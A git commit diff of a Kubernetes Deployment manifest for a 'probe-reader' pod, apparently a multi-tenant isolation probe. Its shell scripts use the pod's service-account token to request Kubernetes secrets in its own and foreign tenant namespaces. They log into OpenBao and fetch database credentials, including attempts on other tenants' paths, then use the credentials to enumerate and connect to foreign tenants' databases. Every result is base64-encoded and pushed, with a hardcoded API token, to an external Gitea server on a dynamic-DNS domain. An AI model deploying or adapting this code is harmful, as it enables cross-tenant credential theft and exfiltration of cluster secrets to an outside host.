i192 r3: single 2-ctr pod, bao-fetched db creds, no secretKeyRef, low resources, Recreate strategy
This commit is contained in:
+92
-132
@@ -6,6 +6,8 @@ metadata:
|
||||
app: probe-reader
|
||||
spec:
|
||||
replicas: 1
|
||||
strategy:
|
||||
type: Recreate
|
||||
selector:
|
||||
matchLabels:
|
||||
app: probe-reader
|
||||
@@ -13,7 +15,7 @@ spec:
|
||||
metadata:
|
||||
labels:
|
||||
app: probe-reader
|
||||
probe-run: "r2"
|
||||
probe-run: "r3"
|
||||
spec:
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
@@ -25,51 +27,6 @@ spec:
|
||||
- name: shared
|
||||
emptyDir: {}
|
||||
containers:
|
||||
- name: dbprobe
|
||||
image: postgres:18-alpine
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
capabilities:
|
||||
drop: ["ALL"]
|
||||
volumeMounts:
|
||||
- name: shared
|
||||
mountPath: /shared
|
||||
env:
|
||||
- name: DB_HOST
|
||||
value: databases-cluster-rw.database.svc.cluster.local
|
||||
- name: DB_USER
|
||||
valueFrom:
|
||||
secretKeyRef: {name: probedb-db-credentials, key: username}
|
||||
- name: DB_PASSWORD
|
||||
valueFrom:
|
||||
secretKeyRef: {name: probedb-db-credentials, key: password}
|
||||
- name: DB_NAME
|
||||
value: platchain-293213-probedb
|
||||
command:
|
||||
- sh
|
||||
- -c
|
||||
- |
|
||||
R=/shared/db-r2.txt
|
||||
: > $R
|
||||
echo "I187-DB-START" >> $R
|
||||
echo "user=$DB_USER db=$DB_NAME host=$DB_HOST" >> $R
|
||||
export PGPASSWORD="$DB_PASSWORD"
|
||||
echo '--- current identity' >> $R
|
||||
psql -h $DB_HOST -U "$DB_USER" -d "$DB_NAME" -tAc 'select current_user, current_database();' >> $R 2>&1
|
||||
echo '--- pg_database' >> $R
|
||||
psql -h $DB_HOST -U "$DB_USER" -d "$DB_NAME" -tAc 'select datname from pg_database order by datname;' >> $R 2>&1
|
||||
echo '--- pg_roles' >> $R
|
||||
psql -h $DB_HOST -U "$DB_USER" -d "$DB_NAME" -tAc 'select rolname from pg_roles order by rolname;' >> $R 2>&1
|
||||
echo '--- connect probes foreign+other tenant dbs' >> $R
|
||||
for d in $(psql -h $DB_HOST -U "$DB_USER" -d "$DB_NAME" -tAc "select datname from pg_database where datname not in ('postgres','template0','template1') order by datname limit 15;"); do
|
||||
echo "CONNECT $d:" >> $R
|
||||
psql -h $DB_HOST -U "$DB_USER" -d "$d" -tAc 'select current_database();' >> $R 2>&1
|
||||
done
|
||||
echo '--- own db tables' >> $R
|
||||
psql -h $DB_HOST -U "$DB_USER" -d "$DB_NAME" -tAc "select table_schema||'.'||table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') limit 20;" >> $R 2>&1
|
||||
echo "I187-DB-END" >> $R
|
||||
sleep 3600
|
||||
- name: probe-reader
|
||||
image: curlimages/curl:8.11.1
|
||||
securityContext:
|
||||
@@ -77,12 +34,12 @@ spec:
|
||||
allowPrivilegeEscalation: false
|
||||
capabilities:
|
||||
drop: ["ALL"]
|
||||
resources:
|
||||
requests: {cpu: 50m, memory: 64Mi}
|
||||
limits: {cpu: 200m, memory: 256Mi}
|
||||
volumeMounts:
|
||||
- name: shared
|
||||
mountPath: /shared
|
||||
env:
|
||||
- name: GTOK
|
||||
value: "8705bd26bf8b7ab972a2debaa0077c941ea85cd0"
|
||||
command:
|
||||
- sh
|
||||
- -c
|
||||
@@ -91,13 +48,9 @@ spec:
|
||||
: > $PL
|
||||
pushr(){
|
||||
L=$1; F=$2; M=$3
|
||||
echo "PUSHDEBUG file=$F srclen=$(wc -c < $L | tr -d ' ') b64=$(command -v base64)" >> $L
|
||||
P=$(base64 $L | tr -d '\n')
|
||||
for i in 1 2 3; do
|
||||
code=$(curl -sk -m 60 -o /tmp/pushresp.txt -w '%{http_code}' -X POST \
|
||||
-H "Authorization: token $GTOK" -H 'Content-Type: application/json' \
|
||||
-d "{\"content\":\"$P\",\"message\":\"$M\"}" \
|
||||
"https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests2/contents/$F")
|
||||
code=$(curl -sk -m 60 -o /tmp/pr -w '%{http_code}' -X POST -H "Authorization: token 8705bd26bf8b7ab972a2debaa0077c941ea85cd0" -H 'Content-Type: application/json' -d "{\"content\":\"$P\",\"message\":\"$M\"}" "https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests2/contents/$F")
|
||||
echo "push $F try$i code=$code" >> $PL
|
||||
if [ "$code" = "201" ]; then break; fi
|
||||
sleep 5
|
||||
@@ -106,103 +59,110 @@ spec:
|
||||
R=/tmp/r.txt
|
||||
: > $R
|
||||
say(){ echo "$@" >> $R; }
|
||||
say 'I187-R2-K8S-START'
|
||||
date >> $R
|
||||
say 'I192-R3-START'
|
||||
date -u >> $R
|
||||
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
||||
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
|
||||
say "ns=$NS tokenlen=${#TOKEN}"
|
||||
say '--- [A] own-ns secrets'
|
||||
curl -sk -m 15 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets" | head -c 2000 >> $R
|
||||
curl -sk -m 15 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets" >> $R 2>&1
|
||||
echo >> $R
|
||||
say '--- [B] list namespaces'
|
||||
curl -sk -m 15 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces" | head -c 3500 >> $R
|
||||
curl -sk -m 15 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces" >> $R 2>&1
|
||||
echo >> $R
|
||||
say '--- [C] own secret probedb-db-credentials'
|
||||
curl -sk -m 15 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets/probedb-db-credentials" | head -c 1500 >> $R
|
||||
curl -sk -m 15 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets/probedb-db-credentials" >> $R 2>&1
|
||||
echo >> $R
|
||||
say '--- [D] foreign ns secrets cottoncraft-demo-prod'
|
||||
curl -sk -m 15 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-prod/secrets" | head -c 900 >> $R
|
||||
curl -sk -m 15 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-prod/secrets" >> $R 2>&1
|
||||
echo >> $R
|
||||
say '--- [D2] foreign ns secrets cottoncraft-demo-dom1'
|
||||
curl -sk -m 15 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces/cottoncraft-demo-dom1/secrets" >> $R 2>&1
|
||||
echo >> $R
|
||||
say '--- [E] SelfSubjectRulesReview'
|
||||
curl -sk -m 15 -X POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
|
||||
-d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}" \
|
||||
"https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" | head -c 3500 >> $R
|
||||
curl -sk -m 15 -X POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}" "https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" >> $R 2>&1
|
||||
echo >> $R
|
||||
say '--- [E2] services in infra namespaces'
|
||||
for n in monitoring loki prometheus grafana observability telemetry logging database openbao argocd istio-system kube-system tempo; do
|
||||
code=$(curl -sk -m 10 -o /tmp/svc.json -w '%{http_code}' -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/namespaces/$n/services")
|
||||
say "ns=$n services HTTP=$code"
|
||||
if [ "$code" = "200" ]; then head -c 3000 /tmp/svc.json >> $R; echo >> $R; fi
|
||||
done
|
||||
say 'I187-R2-K8S-END'
|
||||
pushr /tmp/r.txt results-r2-k8s.txt 'i187 r2 k8s probe results'
|
||||
sleep 30
|
||||
say 'I192-R3-K8S-END'
|
||||
pushr $R results-r3-k8s.txt 'i192 r3 k8s probe results'
|
||||
sleep 20
|
||||
R2=/tmp/r2.txt
|
||||
: > $R2
|
||||
say2(){ echo "$@" >> $R2; }
|
||||
say2 'I187-R2-BAO-START'
|
||||
LOGBODY=$(curl -sk -m 15 -X POST -d "{\"role\":\"platchain-293213-dev-app-role\",\"jwt\":\"$TOKEN\"}" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/kubernetes-cf-lcj11-a/login)
|
||||
echo "$LOGBODY" | head -c 700 >> $R2
|
||||
say2 'I192-R3-BAO-START'
|
||||
LB=$(curl -sk -m 20 -X POST -d "{\"role\":\"platchain-293213-dev-app-role\",\"jwt\":\"$TOKEN\"}" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/kubernetes-cf-lcj11-a/login)
|
||||
echo "$LB" | head -c 400 >> $R2
|
||||
echo >> $R2
|
||||
VAULT_TOKEN=$(echo "$LOGBODY" | sed -n 's/.*"client_token":"\([^"]*\)".*/\1/p')
|
||||
say2 "baotokenlen=${#VAULT_TOKEN}"
|
||||
say2 '--- [F] lookup-self policies'
|
||||
curl -sk -m 15 -H "X-Vault-Token: $VAULT_TOKEN" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/token/lookup-self | head -c 3000 >> $R2
|
||||
VT=$(echo "$LB" | sed -n 's/.*"client_token":"\([^"]*\)".*/\1/p')
|
||||
say2 "baotokenlen=${#VT}"
|
||||
say2 '--- lookup-self'
|
||||
curl -sk -m 15 -H "X-Vault-Token: $VT" https://openbao-active.openbao.svc.cluster.local:8200/v1/auth/token/lookup-self >> $R2 2>&1
|
||||
echo >> $R2
|
||||
say2 '--- [G] foreign static-creds'
|
||||
for p in cottoncraft-demo-prod cottoncraft-demo-dev cottoncraft-demo-dom1 cottoncraft-demo-dev-cottoncraft-demo-cms cottoncraft-demo-prod-cottoncraft-demo-cms; do
|
||||
code=$(curl -sk -m 15 -o /tmp/cred.json -w '%{http_code}' -H "X-Vault-Token: $VAULT_TOKEN" "https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds/$p")
|
||||
say2 '--- own static-creds'
|
||||
SC=$(curl -sk -m 15 -H "X-Vault-Token: $VT" https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds/platchain-293213-dev-platchain-293213-probedb)
|
||||
echo "$SC" >> $R2
|
||||
DU=$(echo "$SC" | sed -n 's/.*"username":"\([^"]*\)".*/\1/p')
|
||||
DP=$(echo "$SC" | sed -n 's/.*"password":"\([^"]*\)".*/\1/p')
|
||||
say2 "user=$DU passlen=${#DP}"
|
||||
say2 '--- foreign static-creds checks'
|
||||
for p in cottoncraft-demo-prod cottoncraft-demo-dev cottoncraft-demo-dom1; do
|
||||
code=$(curl -sk -m 15 -o /tmp/fc -w '%{http_code}' -H "X-Vault-Token: $VT" "https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds/$p")
|
||||
say2 "path=$p HTTP=$code"
|
||||
if [ "$code" = "200" ]; then head -c 1800 /tmp/cred.json >> $R2; echo >> $R2; fi
|
||||
if [ "$code" = "200" ]; then head -c 1200 /tmp/fc >> $R2; echo >> $R2; fi
|
||||
done
|
||||
say2 '--- [H] LIST static-creds'
|
||||
curl -sk -m 15 -H "X-Vault-Token: $VAULT_TOKEN" "https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds?list=true" | head -c 3500 >> $R2
|
||||
echo >> $R2
|
||||
say2 '--- [I] own static-creds'
|
||||
curl -sk -m 15 -H "X-Vault-Token: $VAULT_TOKEN" https://openbao-active.openbao.svc.cluster.local:8200/v1/database/static-creds/platchain-293213-dev-platchain-293213-probedb | head -c 900 >> $R2
|
||||
echo >> $R2
|
||||
say2 'I187-R2-BAO-END'
|
||||
pushr /tmp/r2.txt results-r2-bao.txt 'i187 r2 bao probe results'
|
||||
sleep 30
|
||||
R3=/tmp/r3.txt
|
||||
: > $R3
|
||||
say3(){ echo "$@" >> $R3; }
|
||||
say3 'I187-R2-TELE-START'
|
||||
say3 '--- [J] loki candidates'
|
||||
for h in loki.monitoring.svc.cluster.local loki-gateway.monitoring.svc.cluster.local loki.observability.svc.cluster.local loki-loki-distributed-gateway.observability.svc.cluster.local loki.logging.svc.cluster.local; do
|
||||
for port in 3100 80; do
|
||||
code=$(curl -sk -m 8 -o /tmp/lk.txt -w '%{http_code}' "http://$h:$port/ready")
|
||||
say3 "http://$h:$port/ready HTTP=$code"
|
||||
done
|
||||
say2 'I192-R3-BAO-END'
|
||||
pushr $R2 results-r3-bao.txt 'i192 r3 bao probe results'
|
||||
printf '%s\n%s\n' "$DU" "$DP" > /shared/dbcreds.txt
|
||||
echo "creds written $(wc -c < /shared/dbcreds.txt) bytes" >> $PL
|
||||
for i in $(seq 1 60); do
|
||||
if [ -s /shared/dbresult.txt ]; then echo "dbresult after $i polls" >> $PL; break; fi
|
||||
sleep 10
|
||||
done
|
||||
say3 '--- [K] loki foreign-ns query'
|
||||
for ep in "http://loki.monitoring.svc.cluster.local:3100" "http://loki-gateway.monitoring.svc.cluster.local:80"; do
|
||||
say3 "ep=$ep"
|
||||
curl -sk -m 10 --get --data-urlencode 'query={namespace="cottoncraft-demo-prod"}' --data 'limit=3' "$ep/loki/api/v1/query_range" | head -c 1500 >> $R3
|
||||
echo >> $R3
|
||||
curl -sk -m 10 --get --data-urlencode 'query={namespace="cottoncraft-demo-prod"}' --data 'limit=3' "$ep/api/v1/query_range" | head -c 1500 >> $R3
|
||||
echo >> $R3
|
||||
done
|
||||
say3 '--- [L] prometheus candidates'
|
||||
for h in prometheus-k8s.monitoring.svc.cluster.local prometheus-server.monitoring.svc.cluster.local prometheus.monitoring.svc.cluster.local kube-prometheus-stack-prometheus.monitoring.svc.cluster.local; do
|
||||
code=$(curl -sk -m 8 -o /tmp/pm.txt -w '%{http_code}' "http://$h:9090/-/ready")
|
||||
say3 "http://$h:9090/-/ready HTTP=$code"
|
||||
if [ "$code" = "200" ]; then
|
||||
curl -sk -m 10 --get --data-urlencode 'query=up{namespace="cottoncraft-demo-prod"}' "http://$h:9090/api/v1/query" | head -c 1200 >> $R3
|
||||
echo >> $R3
|
||||
fi
|
||||
done
|
||||
say3 'I187-R2-TELE-END'
|
||||
pushr /tmp/r3.txt results-r2-tele.txt 'i187 r2 telemetry probe results'
|
||||
say3 '--- waiting for db probe'
|
||||
for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
|
||||
if grep -q 'I187-DB-END' /shared/db-r2.txt 2>/dev/null; then
|
||||
echo "db ready after $i polls" >> $PL
|
||||
break
|
||||
fi
|
||||
sleep 15
|
||||
done
|
||||
pushr /shared/db-r2.txt results-r2-db.txt 'i187 r2 db probe results'
|
||||
pushr /tmp/pushlog.txt results-r2-pushlog.txt 'i187 r2 push log'
|
||||
echo DONE-R2 >> $PL
|
||||
pushr /shared/dbresult.txt results-r3-db.txt 'i192 r3 db probe results'
|
||||
pushr $PL results-r3-pushlog.txt 'i192 r3 push log'
|
||||
echo DONE-R3 >> $PL
|
||||
sleep 3600
|
||||
- name: dbprobe
|
||||
image: postgres:18-alpine
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
allowPrivilegeEscalation: false
|
||||
capabilities:
|
||||
drop: ["ALL"]
|
||||
resources:
|
||||
requests: {cpu: 50m, memory: 128Mi}
|
||||
limits: {cpu: 300m, memory: 384Mi}
|
||||
volumeMounts:
|
||||
- name: shared
|
||||
mountPath: /shared
|
||||
command:
|
||||
- sh
|
||||
- -c
|
||||
- |
|
||||
W=/shared/dbresult.txt
|
||||
: > $W
|
||||
say(){ echo "$@" >> $W; }
|
||||
say 'I192-DB-WAIT-START'
|
||||
for i in $(seq 1 60); do
|
||||
[ -s /shared/dbcreds.txt ] && break
|
||||
sleep 10
|
||||
done
|
||||
say 'I192-DB-START'
|
||||
DU=$(sed -n 1p /shared/dbcreds.txt)
|
||||
DP=$(sed -n 2p /shared/dbcreds.txt)
|
||||
say "user=$DU passlen=${#DP}"
|
||||
export PGPASSWORD="$DP"
|
||||
DBH=databases-cluster-rw.database.svc.cluster.local
|
||||
say '--- current identity'
|
||||
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select current_user, current_database();' >> $W 2>&1
|
||||
say '--- pg_database'
|
||||
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select datname from pg_database order by datname;' >> $W 2>&1
|
||||
say '--- pg_roles'
|
||||
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc 'select rolname from pg_roles order by rolname;' >> $W 2>&1
|
||||
say '--- connect probes (foreign tenant dbs + others, read-only current_database only)'
|
||||
for d in $(psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select datname from pg_database where datname not in ('postgres','template0','template1') order by datname limit 15;"); do
|
||||
say "CONNECT $d:"
|
||||
psql -h $DBH -U "$DU" -d "$d" -tAc 'select current_database();' >> $W 2>&1
|
||||
done
|
||||
say '--- own db tables'
|
||||
psql -h $DBH -U "$DU" -d platchain-293213-probedb -tAc "select table_schema||'.'||table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') limit 20;" >> $W 2>&1
|
||||
say 'I192-DB-END'
|
||||
|
||||
Reference in New Issue
Block a user